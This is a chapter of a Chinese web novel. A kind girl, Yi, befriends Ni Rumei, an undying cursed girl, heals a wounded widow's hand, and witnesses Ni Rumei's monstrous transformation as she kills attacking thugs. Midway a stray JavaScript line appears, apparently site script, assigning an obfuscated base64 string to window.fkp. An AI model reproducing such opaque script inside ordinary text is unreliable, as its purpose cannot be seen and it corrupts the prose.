听到伊的话语,她大受触动,心里是难以诉说的感动。伊的每一句话都扣在了她的心弦上;如一团烟火一般在她心中绽放,融化了她心中的一块块冰。不知为何,她此刻竟有些忸怩地不敢直视伊,她通红的脸上洋溢着喜悦。她第一次这么被人关心,第一次感觉心里温暖。那温暖的分量难以用三言两语来描述,只得说是庞然般,如一颗下凡的流星。而且关心她的还是一个素不相识的陌生人,这让这份温暖更加可贵。她红着脸笑了,虽是微笑,但笑得笑得格外灿烂。她静静地品味着,觉得嘴里甜甜的,好像是吃了块糖。片刻品味,她尝到了这世间最甜的糖果,那味道让她铭记于心。 她双手轻轻地握住伊的另一只手,然后慢慢地抬了起来。她冲着伊微笑,笑容之中满是欢喜。微笑时她将眼睛眯成一条缝,不经意间流露出了眼角的两滴泪珠。那两滴泪珠晶莹剔透的,如钻石一般。她的笑容如酥糖一般,在伊的口中慢慢化开。伊感觉到了满满的甜意。那甜意如同一流清泉,慢慢地流进了伊的心里。她慢慢睁开眼睛,再次露出她那双如池水般纯洁的双眼。她的双眼倒映着蓝天与白云,更多倒映着是黑暗的巷子。在她眼中倒映着的那黑暗的巷子之中,亮起了看不到的光芒。那道光芒,是希望。恍然间,似乎黑暗的巷子不在黑暗了,似乎有光照亮了这里。她看着伊,伊也看着她。这一刻,两人的心紧紧地靠在了一起。她带着信任与笑容,轻声对伊说道: “我相信你!——但......请你能否跟我走一趟?我想去个安静的地方再告诉你那一切。” 伊笑着点了点头,用坚定的眼神回应她的请求。见到伊答应,她拉紧了伊的手,冲着伊高兴地笑了笑。 两人在黑暗的巷子中穿行。错综复杂的巷子如根系般渗透了这座城市,似乎这巷子可以通到这城市之中的每个地方。穿行其中,又让人觉得它像是一张巨大的网,网住了房屋与高楼,将它们紧密联系在了一起。巷子中很脏,不时就有堆砌着的纸壳箱与垃圾,老鼠和蟑螂偶尔会在其中爬行。走着走着,甚至还能看到几把生锈的武器杂乱放在墙边,地上还有着斑驳血迹。令人出乎意料的是,在这漆黑的巷子里,还有几个孩子在其中打闹。他们的打闹声回荡在孤暗的巷子里,童真的笑声让这黑暗的巷子多了几分色彩。他们的声音对于这里的人来说是噪音,但对于伊来说,却是最动听的声音。当伊和她走到那些孩子的面前时,那些孩子一点都没有怕生,似乎已经司空见惯。 突然,一个穿着灰色衣服的孩子拔出了腰间的木剑,然后瞬间转身对着正在走近的伊和她挥出了一剑。这一剑着实给伊吓了一跳,她本能地一激灵,差点就后撤出去一步。见到伊如此,那孩子的脸上洋溢出了得意的笑容。他转头对着其他的孩子得意洋洋地夸赞起了自己。 “看!那个大姐姐被我的‘剑气’给砍中了。” 其他的孩子听他那么说,都十分羡慕地望着他。 “哇!” 有个孩子甚至学着他的样子,去对着空气挥砍。见到这些孩子这般,伊笑了笑,感叹他们的童真与单纯。不知怎么的,那个穿着灰色衣服的孩子突然走到伊面前,拉住伊的衣袖。伊看过去,他的小脸立马飞红了起来。那个孩子紧张了一小会,然后害羞地问伊: “漂亮姐姐。你......你喜欢剑术吗?” 伊很自然地笑了笑,轻声回答道: “还行吧。了解一些......” “那姐姐,你知道‘齐百陵’吗?” “齐百陵?貌似有所耳闻。” “你知道吗?姐姐。他老帅了!一手拿个刀,一手拿个剑,嚓嚓几下,四五个都市猎人就倒下了。他就像个英雄一样,一个人打败了那么多人!据说,那时候他挥出了的一刀,有那么大一道剑气呢!” 这个孩子边比划,边语无伦次地对伊说。伊面带微笑,静静地听着面前这个可爱的孩子诉说。 “你知道吗?他......他老牛逼了。就是宇宙无敌至尊级的存在!据我妈妈所说,他打败了很多的坏人,成了都市之中的传奇。我也想像他一样!当个大英雄。我要打败那些坏蛋,保护爸爸与妈妈。” 说完这些,那个孩子对着空气连挥两剑,然后转过头来笑着面对伊。他的笑容十分纯真,没有一丝杂质掺杂在其中。他的眼中满是梦想与希望,看不出那些失落与沧桑。他眼中的世界是五彩斑斓的,似乎周围的无尽阴霾挡不住他的目光。在看着他的时候,伊想起了儿时的自己。她有那么一刻也曾幻想过自己是为拯救世界的大英雄。那时她也是这般纯洁与童真,每天都能看到五彩斑斓而不是满目萧条。那种每天都心怀希望的感觉,令她回味无穷。虽然现在她也心怀希望,但已经不是当初的那种感觉了。 这时,巷子的另一边传出了一位妈妈温柔的嗓音。 “孩子们,该回家吃饭了。今天有你们喜欢吃的蒜苗炒鸡蛋哦。” 孩子们听到声音,立马转头看向巷子的另一头。伊的目光也随孩子们一起看向了巷子的另一头。此刻,一个白头发和一个灰头发的年轻妇人慢慢出现在了巷子之中。见到这两人之后,伊很自然地向她们微笑,向他们挥手。伊的挥手让她们心头一惊,她们相互看了一眼,然后打量起伊来。打量过后,她们确认伊没有危险,于是她们放下心中的戒备,用微笑回应了伊的笑容。这时,那位灰头发的妇人对着她挥了挥手,打了个招呼。 一阵清风吹过,吹起这位灰发妇人的飘飘长发,吹开了的袖口。瞬间,伊脸上的笑容就凝固下来了。只见她挥动的手上绑着许多染血的绷带,绷带之下是已经溃烂与残缺的手。那手溃烂的已经不成样子,白骨都已经露出了些许;那手残缺的很严重,仅有三根手指,其中食指最长,可怜兮兮的只有两个指关节。那个灰发女人张着嘴,似乎是在说些什么,可没有一个字从她的喉咙中飞出,只有她轻轻动弹的嘴唇,还能证明她在说话。她哑了。长发之下,有着一道长长的刀疤。刀疤从耳朵后面一直延伸到脖子后面,甚是只要再深入一点,她也许就不会出现在伊的眼前。 看着这个灰发妇人,伊的心里很不是滋味。这位灰发妇人的年纪还很年轻,看着面容,也就三十出头。才三十多的年纪,就变成了这样。这与伊印象中的三十岁女人大相径庭。她印象中这个年龄的女人应该是像玫瑰一样美丽,全身应该散发着青春的艳色。而不是像面前的灰发妇人一样,满身伤痕,生活于痛苦之中。她很怜惜这位灰发女人,她想为了她做些什么。但具体要做什么,在伊的心里很模糊。 孩子们欢笑着跑向了她们,她们笑着迎接她们的孩子。孩子们的欢声笑语回荡在空荡的巷子之中。 “妈妈,妈妈!” 孩子们与他们的母亲紧紧地抱在了一起。灰色与冷寂的巷子内,这场面看着格外温馨。似乎有那么一些温度,温暖了周围。冰冷没有缓解多少,但起码比之前要暖一些。这温馨,让伊感到了一丝慰藉,同时她回想起了自己的母亲。她曾经也那样过。她的眼睛不知不觉出现了一点泪花,不知为谁而生。也许是出于慰藉,也许是心有触动。 伊走向了她们,可她们在见到伊的走进后,却显得抵触与恐惧;她们带着孩子匆忙走开了。但那个向她挥手灰色妇人,走了没几步后停了下来。她转头看了看伊,她的眼神之中是无尽的迷茫与绝望。她慢慢踱步转过身来,嘴唇动了几下似乎对伊说了什么,然后将她那溃烂的手伸向了伊。伸手的时候,她还有些羞涩,但更多的是恐惧;她毅然而没有退却,十分勇敢地伸出了手。要知道,这只手可是她精神与肉身上的一大痛楚:难以掩盖的痛楚。若想嘲笑她,光这只丑陋无比的溃烂之手就可以嘲笑她一辈子。对一个陌生人伸出这样的手,需要多大的勇气啊! 此刻,伊也对她伸出了手。仿佛间,伊觉得两人仿佛相隔一条河一样。她们是走在岸的两旁的人,都想要近距离接触对方,可河却阻断了两人。伊奔跑着,一种御风而行的错觉出现,她跑得更快了。当握住她那只溃烂的手的时候,她面目狰狞了一刻,但随后却咽下痛楚去以笑面对伊。伊不敢用力,怕加重她的痛苦。只是轻轻地握着,用指掌相触的那部分仔细感受着她这只手的分量。在两人身旁之前的灰发男孩好奇地看着两人,他有些不理解他妈妈和伊的行为。突然,他注意到伊握住的是他妈妈那只坏掉的手。 “漂亮姐姐,你别握着我妈妈的那只手!我妈妈怕疼的......” 这个男孩用童真的声音告诉伊。伊听到这句话后,本想着松手,但突然有股力量控制住了她的手,没让她松开。突然,伊的眼前闪过了几个画面。那几个画面,是那个灰发妇人的记忆。 小时候,这位灰发女人是个天生的哑巴,不会说话而被周围人嫌弃。她的童年很不幸,父母是都市猎人,都在与感染者的较量中死亡,她是依靠着父母的合伙人xxx长大的。她的泪流过很多次,心也碎了很多次。痛苦伴随了她的全部童年,以至于她眼中的世界都是灰蒙蒙的。 长大后,她也当上了都市猎人,不过过程十分艰难。有一次,她接到委托,去要求处理掉一个“有罪者”。于是她拿着武器与一个她素不相识的搏斗,过程十分惨烈,以她的胜利收尾。但她的耳朵后面因此就烙下了疤痕。这让本就不幸的她雪上加霜。 步入婚姻殿堂后,她与丈夫一起努力工作,苦苦撑起了她们的小家。但天有不测风云,在一次任务过后,她握着武器的那只手废掉了。于是她只得咽下苦楚,离开了工作了多年的事务所,去谋求其他生路。期间她生下了一个孩子,这个孩子是她和他丈夫在这个充满痛苦的世界中唯一的心灵依靠。他们活着赚钱,都是为了这个孩子。在她和她丈夫的眼中,这个孩子是这灰色世界中的唯一色彩。 ...... 画面过后,伊大受震惊。伊看到了她心中的难言的苦痛与心潮的汹涌澎湃,甚至那种失落、迷茫、痛苦、悲伤、喜悦她都能切身感受到。她以前从未留意到这些:普通人内心的汹涌澎湃,是难以用作品与影视来表达出来的。 那比大海还要浩瀚!上面涌起的巨浪能够冲垮一切!坐在小船上去观望这汹涌澎湃之时,却发现它并没有多么复杂,海平面上下无非就是一明一暗,水光之间映着生活二字。当凝望那海平面下的深渊时,能看到远比海面之上还要汹涌的洋流正在鹏腾,那是一个人心境。深渊底下,盛开着花朵,那是一个人心境中的美好。汹涌澎湃的洋流没有冲毁这些花,只是轻轻拂过花瓣的尖尖角,后盘旋在花朵之上构筑了一道屏障,抵挡外面的一切伤痛。 那个灰发妇人刚想开口说些什么,突然,她看到了令她瞠目结舌的事物。她一时愣在原地,呆呆地看着那事物。只见一个三米多高的女人的幻影出现在伊的身后,虽是幻影,但那女人美若天仙的模样却是清晰般显现。 她身着一身科技感满满的半机械白色太空服,太空服上有着独特的曲纹,曲纹之中光点如流水般慢慢移动。凸显女性之美的身材方面,她的可以算得上是一种跨时代的完美。修长的腿与稍细一些的腰,在各方面都把控得那叫一个完美,隐隐透露着一丝妖媚。她的衣着衬出了她肌肤的洁白,淡淡地,有着一丝红润。当凝望她的皮肤之时,似乎能看到一片沐浴在阳光之下的雪原;此刻深吸一口气,仿佛能吸入一口稍有些温暖的寒气。她的面容赛过神仙,她脸上的五官都处在堪称最完美的位置上;她的那双眼睛似星眸一般,闪烁着点点星光,凝望多一刻仿佛能见到那无垠的星河,无可挑剔般地让人陶醉在她的美色上。无论是男是女,看着她这张脸都会羞涩与脸红。她的飘飘长发如天上的锦绣一般轻柔,在风中如垂柳一般摆动;似云朵、似白雪、似银玉一般洁白无瑕,像流云般倾斜而下,垂散在背腰之间。她的唇边有着一抹甜甜的笑容,光是看一眼就让人觉得心里被甜意充满、嘴里比吃了糖还要甜。她全身散发着高贵典雅的气息,似女神下凡一般;没有过多的装饰,但却显露出了超越世界一切美女的自然之美。她仿佛是被上帝刻意捏造出来的艺术品,从各自方面都体现出了无可挑剔的美丽。 在某些方面,她跟伊长得很像。尤其是那白色长发与那甜甜的笑容。 这位灰发妇人的脸刷的一下就红了,她在惊愕之中还有些许害羞。她不敢相信这世界上还有如此美丽的人存在,这发生的一切都出乎了她的意料。这时,这女人慢慢弯下腰来,接着将手轻轻地放在了她和伊的手之上。她的那只精雅的手比她的手要大上许多,很轻易就握住了她和伊的手。她看着面前的漂亮女人,心扑通扑通地跳,有种感觉,她仿佛回到了初恋的时候。那个漂亮女人冲着她笑了笑,那个漂亮女人的笑仿佛有魔力一样,她手部的痛觉突然消失,像头顶的阴云突然散开。一股轻柔的金色能量似丝带一般轻轻拂在了她那只溃烂的手上,将她那溃烂的手给还原成了当初的样子。她的视线突然模糊了一下,那个漂亮女人就在模糊之中消失了。能依稀记得的是,她看到那漂亮女人化成了无数水仙花的花瓣,消散在了空中。 当这个灰发妇人回过神来的时候,她的那只溃烂的手竟恢复到原来的样子。伊紧紧地握着她的手,久违的温暖出现在了她的手背上。那温暖的感觉,让她感到振奋与激动。她的脸上浮现出了喜悦的笑容。见到母亲笑,那个灰发男孩也跟着笑了起来。伊此刻才注意到那个灰发妇人的手突然变好了。伊很惊讶,也很开心,她猜也许是她体内的光之种子起到了作用。 这个灰发妇人很感谢伊,她紧握伊的双手,鞠躬点头向伊道谢,显得有些无地自容。她用唇语对伊说了“谢谢”,并轻轻地亲了下伊的左脸。伊没有显出一点抵触,反倒欣然地接受了来自这位灰发妇人的谢意。伊抱了抱这个灰发妇人,并用温柔的口吻告诉她: “好好加油吧,姐姐。生活还很美好呢。” 这个灰发妇人点了点头,泪水不知何时从她的眼角流下。生活的苦涩她尝尽多半,因为失声,不能向人倾吐,不得不沉默。如今碰到了这样善良的姑娘,虽不能开口诉说,但能通过心灵之间的交流,来抒发自己心中的苦涩与痛苦。见到灰发妇人流泪,伊有些心疼,伊用手为她轻轻擦了擦眼角的泪水。那位灰发妇人紧紧地抱住了伊,她心底的感动此刻难以诉说。伊用手轻轻拍了拍她的后背,安慰道: “哭吧,心里有什么难受的,统统哭出来吧。我不会离开,我会在你身旁默默守候的......” 在一旁静静观看着的那个姑娘见到此景,也不禁擦了擦眼角的泪花。她被伊的行为给深深感动到了,由此,她更加信任伊了。 ....... 伊和那个姑娘坐在了一处僻静的公园之中的一条长凳上。今日阳光明媚,天空中白云朵朵,公园中的棵棵绿树郁郁葱葱,朵朵鲜花盛开在路旁。见闻刚刚那一切的她,此刻迫不及待地想对伊说出自己的秘密。在简单的心理准备之后,她对着伊轻声说出了她的怪异之处。同时这也是她心底的秘密。开口时,她倾倒自己的身体,将头靠在了伊的肩上。伊的目光移到了她的身上,很快又挪了回去。 “事情还要从我小时候开始说起......” 她叫倪汝美,她出生在了一个富人家庭。她家里有三个孩子,她是最小的那一个。在她出生的那年,正赶上了这个家庭由盛转衰的时候。因此,她被街坊邻居嘲讽为“诅咒之女”。在家庭完全衰败的时候,她的父母抛弃了她。后来她的父母是留在地平区还是被贬去了其他地方,她无从得知。她只知道,当她刚刚会说话的时候,她说的第一句话是: “爸爸,妈妈!” 那是她第一次呼唤她的父母,也是最后一次。在被抛弃后,她本该烂在荒山野林里,但是一个路过的探险者见到她后于心不忍,就将她带走了。她跟着这个探险者一起度过了十年时光,那十年是她人生中最幸福的十年。她一直以为那个探险者就是她的父亲,即使后来探险者告诉她事情的真相,但她也依旧一口一个爸爸的叫着。但上帝似乎跟她开了个玩笑,一次飞来横祸彻底夺走了她的幸福。这位探险者死在了几个调解人的手下,而她直到探险者下葬的那一天都不知道这件事。 由于残酷的筛选机制,她被贬到了东玲国,从此永远告别地平区。来到这里后,她饱受现实的摧残与身边人的歧视,只是因为她是从地平区贬下来的人。这里的人很憎富,也很想要富。因此她总是被当做笑料,被人无情地嘲笑。她在苦恼中度过了一年,然后她就在自己的出租内尝试自杀。也就是在这时,她发现了自己不会死亡的特异能力。 她试着通过宣告自己的特异能力来保护自己,可是这只换来了比之前还要严重的歧视与嘲笑。原来还能有人来去欺负欺负她,当听到她这个奇异的能力之后,他们都远离了她。就连她所认识的那些朋友也一样。嫉妒产生了憎恨与偏见,她的朋友一夜之间都变成了宿敌。压力几乎压垮了她,她不断尝试自杀,各种方式都试过,但她就是死不掉。烈火的灼烧、毒素的侵染、化学试剂的侵蚀、千吨压力的碾压、深海之下的窒息.......这都弄不死她,似乎上帝就不像让她死去一样。最讽刺的是,连尸体都敢吃的感染者,在遇到她时,就像遇到了垃圾一样,都绕着她走。 后来,在恩奉婆婆的帮助下,她得知了自己的真实身份。她是传说中千年出现一次的四大诅咒之人之一,她对应的是永存亦痛。她至少要过两百七十年才能死去;在这二百七十年之中,无论她做什么,都无法死去。这是诅咒,她与生俱来的诅咒。这是她被人歧视的根本愿意,也是她最大的痛苦。虽然肉体上是无法毁灭,但是在精神上,她已经是摧枯拉朽。她的心灵已经被伤害得十分脆弱了,只要轻轻一阵风,就能吹得她心里直发颤。别人对她的恶意,她已经无奈地习惯了。 诉说完这些,她闭上眼睛,依靠在伊的肩膀上,静静地享受着此刻的清风与阳光,还有那高雅的宁静。伊看了看她,脸上多了几丝忧愁,她轻轻地搂住了倪汝美,与她一同享受。片刻的宁静过后,倪汝美心中有一丝不安,她轻声问伊: “听到这些后,你会嫌弃我吗?” 伊摇了摇头,说: “不会的。” “为什么?” “因为嘲笑他人是不对的。每个人都有缺点与不足,就如月亮有阴晴圆缺一样。我们应该去包容每个人的缺点,去看到每个人的优点。” 倪汝美虽然十分信任伊,但她还是问出了最让她顾虑的那个问题: “我们......真的可以成为朋友吗?” 伊没有思考,直接了当地回答她: “可以的。” “真的吗?” “真的。” “太好了!有你真好。” “嗯。” 两人坐在长凳上相互依靠,彼此的心灵靠在一起。伊心中的光明,融化了倪汝美冰封的内心。此刻,她觉得世界并非完全是苦痛,也是有美好存在的。就在这时,一伙奇装异服的社会闲杂人员慢慢走向了她们....... ....... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第十五话:诅咒少女倪汝美(下) 那群社会闲杂人员走到了长凳前,领头的那个面相凶恶,他和他身后的气势汹汹地站在伊和倪汝美面前。领头的那人先踢了脚长凳,然后指着伊和倪汝美嚣张地说道: “就是这两个家伙!她们两个一定是跟那个殇有关系的人!” 这些人打断了伊和倪汝美的沉醉,这点让伊和倪汝美有些生气。面对这么多人,伊有些害怕,她只是瞪了这些人一眼。而倪汝美似乎无所畏惧一般,直接冲着这么多人喊道: “喂!你们这也太不礼貌了吧。” 听到倪汝美这么说,领头的那个抓住她的衣领,把她给拽了起来。 “你他妈说你妈呢!知不知道我是谁?知道什么叫他妈的黑社会吗?!” 领头的放出狠话。倪汝美面不改色,一脸不屑地瞪着他。见到此景,伊立即站起身来,对面前这人劝道: “有话好好说,先放开她。” 领头那人转过头来,恶狠狠地问伊: “你他妈算几根葱?” 伊有些生气,她语气稍稍强硬了些,对他命令道: “放开她!” 领头那人冷笑了一下,心里感叹这世界还有如此愚蠢的人。接着,他先是瞪了伊一眼,然后恶狠狠地对伊说: “信不信老子杀了你?” 伊是真的生气了了,伊立马用手抓住领头那人抓倪汝美的那只手,然后试着把他的手给拽开。领头那人见此,想都没想就一巴掌扇了过去。这一巴掌打在了伊的脸上,当时就把伊打了个踉跄,差点就栽倒过去。这一巴掌,在伊的脸上留下了一道红色掌印。见到伊如此,领头的人得意洋洋的笑了笑。这一巴掌似乎扇在了倪汝美的心上,倪汝美觉得很心痛。倪汝美瞪着他,语气强硬地命令道: “不许碰我的朋友!” 领头的人只是笑笑,没说话。 没想到在这时,伊在恢复重心后,竟然勇敢地给他来了一巴掌。这一巴掌直接激怒了他,他举起手,猛地一拳打在了伊的脸上。这一拳,直接将伊打倒在地。周围的闲杂人员看了,无不禁起笑于伊。甚至有几个起哄的,直呼打得好。倒在地上的伊拄起半个身子,用手捂着被打的位置。她的眼角有着泪光,但她并没有哭,而是咬牙切齿、狠狠地瞪着他。 领头的人看了倪汝美一眼,然后一拳头打在了她的眼睛上,同时松开手,让这一拳直接将倪汝美打倒在地。打倒了倪汝美之后,领头的人走到伊的面前。他摩拳擦掌,准备与身后的众人一起群殴伊。面对这么多人,伊害怕极了。这个时候,她没有求救,只是对一旁的倪汝美说: “快跑!倪汝美,这里有我来拖延......” 听到伊这么说,倪汝美很感动,但她并没有离开。倪汝美站了起来,走到领头那人的身后,轻轻打了他一拳。领头那人回身查看,见到倪汝美后轻蔑地嘲讽道: “不用着急,我们在打死她后就处理你。” 面对对面的嘲讽,倪汝美没有动容,只是语气阴冷地说了一句: “你不能伤害我的朋友!” 领头那人一拳头再次给她打倒。她倒地后,头悄悄地低下,似乎在酝酿什么。领头那人走到倪汝美面前,故作高傲地抬起脚,然后对准倪汝美的头,一脚踩了下去。突然,倪汝美抓住了他的这只脚。他见此,轻蔑一笑,接着用力向下一压,想要靠体重来压断倪汝美的细胳膊。可是,此刻用一股怪力作用在了他的脚底,无论他怎样用力,他的脚都没往下压分毫。就在这时,倪汝美的后背上泛起了红色的诡异薄雾。当他发现这点的时候,一切都已经为时已晚了。 倪汝美的嘴角微微上挑,两唇缓缓分开,她露出了笑容。那笑容阴森无比、令人毛骨悚然,压迫感随着脊髓爬上了周围所有人的肩膀。领头那人看了,忍不住后背冒冷汗。刹那间,她脸上的肌肤瞬间撕裂,她的嘴向外裂开了两道裂缝。她的牙齿瞬间变成了如野兽般锋利的利齿,一股寒气从她的牙缝之中渗出。呲的一声,她的指尖刺出了锋利的爪刺,锐利的锋芒闪烁在爪刺之上。她本来洁白的皮肤在此刻瞬间变得红如鲜血、她隐藏皮肤的青筋瞬间暴起、她细小的手臂瞬间粗了一圈,精致的肌肉纹路此刻清晰可见。她的每寸肌肤之间都在散发着令人恐惧的气息,她的一呼一吸如同野兽的咆哮。如此狰狞的模样与之前的可爱形成了反差,这种反差加剧了恐惧的程度。领头那人此刻吓得一动也不敢动了,之前的那种嚣张此刻荡然无存。倪汝美握紧他的脚,然后用力往上一掰,直接掰断了他的脚。只听得骨头断裂的咯嘣一声,一声凄厉的惨叫声回荡在本来寂静的公园之中。 “啊!” 他痛苦地大叫一声。他一个中心不稳栽倒了地上。他身后的那些人此刻吓得魂都没了,他们止不住地全身发抖,有的甚至吓到失禁。倪汝美缓缓起身,起的时候还不忘撩了下头发。她慢慢走到了领头那人的面前。光是看着倪汝美的样子,他就已经吓得魂飞魄散了。倪汝美身上散发着的恐惧,他仅仅是吸入了一口,就差点窒息过去。此刻,在他的眼中,倪汝美就如同一只恶魔一样伫立在他的面前,似乎下一刻就要夺走他的魂,撕碎他的身。他吓得一个字也说不出了,只能一个劲地发抖。倪汝美抓住他的脖子,像抓住一只待宰的羔羊一般把他抓了起来。看着面前的倪汝美,他的精神被恐惧所笼罩。这时,倪汝美的眼角慢慢流下了两行血,看着更加毛骨悚然了。突然,倪汝美快速伸出了锋利的爪子,然后对着手中的人就是一顿猛抓。顿时间血雾弥漫在了她与领头那人的身边,凄厉的惨叫回荡在周围。血雾散去后,一具面目全非的尸体被丢到了人群之中。在见到这具面目全非的尸体后,人群之中爆发了猛烈的叫骂声。几个拿着武器的闲杂人员冲出人群,冲向了倪汝美。只是三秒之隔,倪汝美就用锋利的爪子刺穿了他们的身躯,让他们统统倒在了血泊之中。见到此景,这群有备而来的人如同一群受惊的鸟儿一样,四散奔逃,只留下了倒在地上不知所以然的伊。 倪汝美喘了几口粗气,然后收起她瘆人的笑容,仔细打量了一番周围。见到周围的一片狼藉,她感觉有些愧疚,尤其是当她看到一旁的伊的时候,那种愧疚更加剧烈了。她本以为伊会因此远离她,所以她主动后退了几步,转身想要离开。但,事情并非是她预料的那样。伊叫住了她。 “倪汝美!” 倪汝美停下步伐,转头看向伊。伊非但没有因此远离她,反倒主动走近了她。伊对着她说: “倪汝美,谢谢你。” 听到伊这么说,倪汝美很感动地点了点头。很快,她变回了之前的样子。这时,伊看了看这周围的尸体,心中有些许不忍。即使是来杀她的人,在伊的心里也是有善良的一面的。伊轻声对倪汝美说: “倪汝美,请你下次下手轻点。没必要置人于死地的。请给他们一个改过自新的机会,好吗?” 倪汝美听了,有些不解地问伊: “可是他们要杀了我们!如果不杀掉他们,那死的就是我们啊!” 伊很坦然地回答她: “每个人都有一次重来的机会的,你、我、他、他们都一样。一视同仁,不分异己。” 听到伊的回答,倪汝美感受到了伊心里更深层次的善意。她对伊的印象更加深刻了,她对伊更加信任了。伊无奈地叹了口气,然后重拾笑容,对面色有些凝重的倪汝美说道: “倪汝美。” “嗯?” “不用太过愧疚与自责,责任不全在你。” “哦。” “去喝杯奶茶吗?我请你哦。” “啊?行......行啊!我喜欢喝甜饮。” “那走吧。这里就交给清理者去清理吧......” 伊心里: “那时候殇是说清理者是清理尸体的人吧.......应该是的。” 之后,伊领着倪汝美回到了奶茶店之中。在回到奶茶店中的时候,保罗已经送完了三份奶茶了。见到伊领着一个全身破破烂烂的陌生女子回到店里,保罗很疑惑,但他没先问这点,而是先向伊抱怨道: “你干什么去了?怎么这么久才回来?这次的外卖几乎都让我给送完了,你才回来!” 听到保罗这么说,伊的脸因为愧疚一下子就红了起来。她有些委婉地向保罗道了声歉。 “抱歉,因为一些特殊的事耽误了时间。劳烦你替我干了这么多活了,真是抱歉。” 保罗没有计较这点小事,只是衷心的告诉伊: “以后别犯这种错误了,如果你去了高级岗位去干活,我担心你会因此丢了工作。” 伊点了点头,很虚心地接受了保罗说的话。接着,她说道: “所言极是,我一定会改正的。” 保罗看向伊身旁的倪汝美,他好奇地问伊: “她是谁?你的朋友吗?” 伊和倪汝美相互对视了一下,两人用眼神交流了下心中的想法。接着,倪汝美主动向保罗介绍自己。 “我是伊的朋友,来你们这里喝杯奶茶。她请客。” 一听是客人,保罗心中瞬间就没了顾虑。他里面挤出笑容,客客气气地对伊和倪汝美说: “客人啊!那没事了。要喝什么我给你们拿,别忘付钱。” 伊点了点头,回应道: “好的。” 接着,伊转过头对身旁的倪汝美说: “你要什么,尽管去点,我来付钱。” ...... 过了一会,伊和倪汝美在店里喝过奶茶,就去街上溜达。为了防止出什么问题,伊找到法戈·明请了个假。倪汝美想去沃兹河(东玲国的一条着名河流)边的小公园里看花,伊就去陪她看花。刚到公园,天空中就突然下起了淅淅沥沥的小雨。伊和她站在一颗河边的柳树下避雨。避雨的时候,伊和她好好地看了看雨中的沃兹河。 细雨轻柔,轻吻这片伤痕累累的大地。河面上薄雾四起,似一块无彩的丝绸,盖在了河面上。阳光透过薄雾照在了河面上,河上的水波在阳光中显现出来。一阵清风吹过,水波荡漾,几片莲叶和莲花随波飘流在河面上。仔细看,几朵娉婷的莲花刚刚盛开。出水的芙蓉,白色的花瓣上有着几分粉润,花瓣之间散发着淡淡的花香。如一位年轻的少女般,美丽而又神秘。它似一位舞女一样亭亭玉立,河面上,它是一抹独特的色彩。视线渐渐凝聚,河边的围栏渐渐成了主角。河边的石头围栏上雕刻着山水鸟兽,每块石料上都倾注了工匠的心血。那山跌宕起伏、层峦叠嶂,看着迫真极了;连绵的山脉上白云朵朵,指不定哪座山上就有一位隐居的仙人。云雾与山峦之间,几个小村点缀其上,缕缕炊烟只是“轻描淡写”,但却雕刻出迫真感。仔细留意,隐约可以看到一座孤城藏在山峦之中。那水是江河,潺潺地流,带走航船与岁月;江河旁有着如雨点般的港口,看得出盛是繁荣。水边,还有一块块的稻田。虽雕刻不出稻米生长,但凭借其对周围景物的雕刻,看后可以让人联想到稻田的模样。围栏的最顶端,是一圈复杂的鸟兽之纹。空间有限,但聪明的匠人却在有限的空间里将它们雕刻的几乎完美。大鹏展翅、野马奔腾、雄狮咆哮、百鸟齐飞、龙腾虎跃,一幅幅栩栩如生的画面都雕刻进了这一快小小的石料上。看得久了,就沉醉在了其中。一个走神,那鸟就会飞出来,吓得观看者一大跳。惊慌过后,才知道自己走了神。 看着眼前的景象,伊和倪汝美都深深地沉醉在了其中。倪汝美沉浸在了莲花的美之中,伊则跟她一起。不时,两人的目光就会变换,时而看雨,时而看天,时而又看石雕...... 石雕固然很美,但它的美,却不常有人注意。这蕴含了匠人心血的造物,却是最常被忽视的那一个。伊看着它,不禁思考: “为什么这石雕不及莲花美丽呢?它明明很美丽......” 这个问题伊没过多思考,便继续与倪汝美在柳树下欣赏着眼前的景象。柳枝上滴下水滴,滴落在地上,有的滴落在伊和倪汝美的身上。两人看得过于专注,并没有注意到身上的衣服已经悄悄地被雨水浸湿了一部分。柳枝随着清风摇摆,也默默地融入了自然的格调之中。 “真美啊.......” 倪汝美感叹道。 “对啊。真美.......” 伊也同样感叹道。 不知何时,两人的手悄悄地拉在了一起,同时两人的心慢慢地靠在了一起。突然之间,倪汝美的头低了下去,她抽泣了几声。伊看过去,轻轻地搂住了她,想给予她安慰。 “我想家了.......” 倪汝美心情低落地说道。两滴泪水在她的眼中打转,她强忍着没让它流下来。见到倪汝美伤心,伊的心里也很难受。她也不知道该怎么去安慰倪汝美,因为她自己的情况也没比她好上多少。 “爸爸以前对我最好了......可他......我也希望结局可以有所改变,但事实是无法更改的。逝去的东西,永远也回不来。” 说到此处,她忍不住心中的悲伤,那两滴泪流了下来。伊看着她,心里也跟着她难受。她只能搂紧倪汝美,陪在她身旁安慰。 “默哀吧......过去已经发生的,已经无法改变。抬头向前看吧,不要迷茫,路就在脚下。生活下去的意义,不能失去啊。” 伊这样安慰道。虽有些说教的意思,但倪汝美还是听进去了。倪汝美抽泣了两声,擦了擦眼角的泪水。她有些迷茫地问伊: “你说......家的温暖,如果逝去还可以找回吗?” 伊思考了一下,给出了一个答案。 “可以的。这世界虽然冷酷,但并非没有温暖。爱的花朵,盛开在这世界的每个角落。” 听到伊这么回答,她心中的迷茫消失了。她急忙擦了擦脸上的泪水,然后一把扑进伊的怀里,紧紧地抱着伊。泪水止不住地流下,浸湿了伊的衣裳。伊没有见怪,只是轻轻搂住她,让她在自己的怀里哭泣。 “有你真好......” 倪汝美深情说道。伊拍了拍她的后背,轻声安慰道: “对啊。能有朋友在你身旁听你倾诉,是件幸福的事啊。——如果难受就哭出来吧,哭出来了,心里能好受点。” 